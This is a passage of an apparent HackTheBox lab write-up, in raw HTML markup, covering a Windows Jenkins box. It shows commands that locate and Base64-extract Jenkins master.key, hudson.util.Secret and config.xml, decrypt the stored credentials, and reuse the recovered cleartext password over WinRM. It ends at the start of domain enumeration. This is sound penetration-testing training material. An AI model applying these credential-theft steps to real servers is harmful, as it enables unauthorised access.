project definitely existed. In that case, I could only use the intended way to get a shell: WinRM. Before using WinRM, though, I needed an account.&lt;/p&gt;&#10;&lt;p&gt;Before trying my idea, I decided to inspect the firewall configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the command syntax here; everything is documented on the page above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell /c &amp;#34;Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-PolicyStore All firewall rules in the active store&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Direction Outbound policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Action Block policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Enabled Enabled state&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, all outbound traffic was blocked. At this point, the only way to get a shell was to obtain information through this web service and then connect over WinRM. Before I achieved RCE through the build project, there had been a hint about where the &lt;code&gt;admin&lt;/code&gt; password was stored. The Linux location I found at the time was &lt;code&gt;confing.xml&lt;/code&gt;; on Windows, it apparently looked like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was it. I could simply use &lt;code&gt;dir /S&lt;/code&gt; to find it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Indeed, I did not find &lt;code&gt;confing.xml&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;I searched again. The hint said the password file was called &lt;code&gt;config.xml&lt;/code&gt;, so I searched for it again, this time including hidden files.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd C:\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S jenkins*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S /a config.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;Barring any surprises, this should be it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;Exactly as described here.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer: the filename &lt;code&gt;config.xml&lt;/code&gt; was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password was right there. I had seen this result earlier, but at the time I did not realize it was the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;username&amp;gt;oliver&amp;lt;/username&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;password&amp;gt;{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}&amp;lt;/password&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;passwordHash&amp;gt;#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW&amp;lt;/passwordHash&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not find a blog post explaining the decryption process. I only found a few GitHub projects.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/hoto/jenkins-credentials-decryptor" target="_blank" rel="noopener"&#10; &gt;https://github.com/hoto/jenkins-credentials-decryptor&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one, for example, was very detailed, so I followed it. If it did not work, I would keep looking.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/credentials.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/jobs/example-folder/config.xml - Possible location&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed these files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\&amp;gt;dir /S /a master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume in drive C has no label.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume Serial Number is 212C-60B7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It appeared to be a binary file. That was easy enough to handle: whenever I run into a binary file, I can usually Base64-encode it and decode it again. I found this method:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;base64 -d 1.txt &amp;gt; hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started decrypting by downloading the file from the project above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error. I went back to following the GitHub instructions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -L \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Their command uses &lt;code&gt;uname&lt;/code&gt; at the end to detect the system, so it was better to use that instead of downloading the file manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Same result. I checked the files several times and was certain there was nothing wrong with them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone else had run into the same problem, but the author never replied.&lt;/p&gt;&#10;&lt;p&gt;I searched for the error message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an explanation here. Based on the note, I could roughly understand what was happening: the file types of &lt;code&gt;hudson.util.Secret&lt;/code&gt; and &lt;code&gt;master.key&lt;/code&gt; might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because I copied and pasted it directly, &lt;code&gt;master.ket&lt;/code&gt; had become ASCII text. I tried to check what type it was on the target.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after searching for a while, I could not find a Windows command that determines whether a file is binary. I decided to stick with Base64 so I would not have to worry about the file type.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a complete waste of time. I went back to &lt;code&gt;config.xml&lt;/code&gt; and read it out with Base64 too, but it still did not work after decoding.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tweksteen/jenkins-decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tweksteen/jenkins-decrypt/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Here was another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing it, I ran it again and got yet another error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Very few of the scripts I have used lately seem to work out of the box; I always have to fix them myself. This error was very clear: the function had been removed in Python 3.9. After changing it, I ran into an encoding problem. I left that alone for the time being and switched to another project.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file" target="_blank" rel="noopener"&#10; &gt;https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It told me there was something wrong with &lt;code&gt;hudson.util.Secret&lt;/code&gt;. But looking at what I had done—Base64-encode it, decode it, and write it to a file—it should have been fine. I tried again, but the result was the same. I could not take it anymore, so I checked a write-up. Its steps were exactly the same as mine, with no difference at all.&lt;/p&gt;&#10;&lt;p&gt;I even copied their import command verbatim, but it still threw an error. I started wondering whether this software only broke on my machine. I was completely out of ideas. I even considered packaging that Python 3 file, converting it to Base64, and uploading it to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But 150,000 lines was completely unrealistic.&lt;/p&gt;&#10;&lt;p&gt;After a lot of searching, I found the answer. On Kali, I habitually open files in Vim and write content into them. That was how I created &lt;code&gt;master.key&lt;/code&gt;, but doing so added one extra byte. &lt;code&gt;master.key&lt;/code&gt; should be 256 bytes. Whether I used Vim, &lt;code&gt;echo&lt;/code&gt;, or Base64 encoding and decoding, it always ended up as 257 bytes even though I definitely had not added a newline.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wc -c master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;257 master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It only became the correct 256 bytes after I pasted it into a file on Windows. I do not know why pasting it on Kali added a byte while pasting the same content on Windows gave exactly 256.&lt;/p&gt;&#10;&lt;p&gt;I moved the correct &lt;code&gt;master.key&lt;/code&gt; file from Windows back to Kali and, unsurprisingly:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything decrypted successfully. I had spent half the day fighting a bad file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding &lt;code&gt;-n&lt;/code&gt; also solves the issue. None of the other write-ups mentioned this. I suspect the issues I saw earlier had the same cause and nobody realized it.&lt;/p&gt;&#10;&lt;p&gt;Now I had the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;id&amp;#34;: &amp;#34;320a60b9-1e5c-4399-8afe-44466c9cde9e&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;password&amp;#34;: &amp;#34;c1cdfun_d2434&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;username&amp;#34;: &amp;#34;oliver&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;oliver&lt;/code&gt; had a home directory, so I could try credential reuse against WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. Time for privilege escalation. Neither &lt;code&gt;whoami /priv&lt;/code&gt; nor &lt;code&gt;systeminfo&lt;/code&gt; revealed anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c &amp;#34;netstat -ano | findstr LISTENING&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result matched my earlier UDP scan: this was a domain controller. Time to upload SharpHound.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td 